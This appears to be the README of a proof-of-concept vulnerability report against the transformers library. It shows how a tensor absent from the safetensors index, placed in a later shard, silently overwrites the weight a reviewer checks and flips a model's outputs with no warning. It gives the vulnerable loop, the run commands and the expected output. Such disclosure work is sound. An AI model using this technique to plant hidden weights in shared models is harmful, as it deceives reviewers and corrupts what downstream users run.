transformers-ghost-shard-safetensors-poc

Ghost Shard PoC — transformers multi-shard safetensors index validation

Finding: Silent ghost tensor injection via multi-shard safetensors last-write-wins merge in from_pretrained()

Target: huggingface/transformers (OSV)
Versions tested: transformers 5.7.0, safetensors 0.5.3, torch 2.11.0+cpu

---

Vulnerability Summary

from_pretrained() with use_safetensors=True merges tensors from multiple shard files using last-write-wins semantics. The model.safetensors.index.json is used only to determine which shard files to download — the loader does not validate that each tensor key in a shard is listed in the index. A ghost tensor in a later-sorted shard silently overwrites the expected tensor from an earlier shard, with no warning emitted.

Vulnerable code (modeling_utils.py ~L4356–4366):

for k in file_pointer.keys():               # iterates ALL keys in shard
    merged_state_dict[k] = file_pointer.get_slice(k)  # no index check, no overwrite warning

---

Reproduction

Install:

pip install -r requirements.txt --extra-index-url https://download.pytorch.org/whl/cpu

Step 1 — Build ghost shard artifacts:

python scripts/make_ghost_shard_poc.py

Creates:

• artifacts/model-00001-of-00002.safetensors — shard1: lm_head.weight = [[1,0],[0,1]] (benign identity)
• artifacts/model-00002-of-00002.safetensors — shard2: legitimate tensor + ghost lm_head.weight = [[0,1],[1,0]] (NOT in index)
• artifacts/model.safetensors.index.json — claims lm_head.weight → shard1 only

Step 2 — Verify reviewer/loader differential (no torch needed):

python scripts/check_ghost_shard_poc.py

Step 3 — Full from_pretrained() + inference output flip:

python scripts/run_full_from_pretrained_poc.py

---

Expected Output (Step 3)

================================================================
ROUND_AI027 — Ghost Shard from_pretrained() Full PoC
================================================================
transformers: 5.7.0
torch:        2.11.0+cpu
safetensors:  0.5.3

=== A. Reviewer view (index + shard1) ===
  index says:  lm_head.weight → model-00001-of-00002.safetensors
  shard1 lm_head.weight = tensor([[1., 0.], [0., 1.]])
  Reviewer verdict: BENIGN (identity matrix)

=== B. transformers from_pretrained(use_safetensors=True) ===
  Loaded lm_head.weight = tensor([[0., 1.], [1., 0.]])
  Loader verdict: GHOST MALICIOUS (class-swapper)
  No warning observed at DEBUG log level for unindexed tensor overwrite

=== C. Inference output flip ===
  Input:         [[3.0, -1.0]]
  Benign logits: [[6.0, -2.0]]  → class 0
  Ghost  logits: [[-2.0, 6.0]]  → class 1
  Output flip:   YES — class 0 → class 1

=== D. Final flags ===
  GHOST_TENSOR_CONFIRMED = True
  NO_WARNING_EMITTED     = True
  OUTPUT_FLIP_CONFIRMED  = True

STATUS: SUBMIT_CANDIDATE — all gates passed
================================================================

---

Files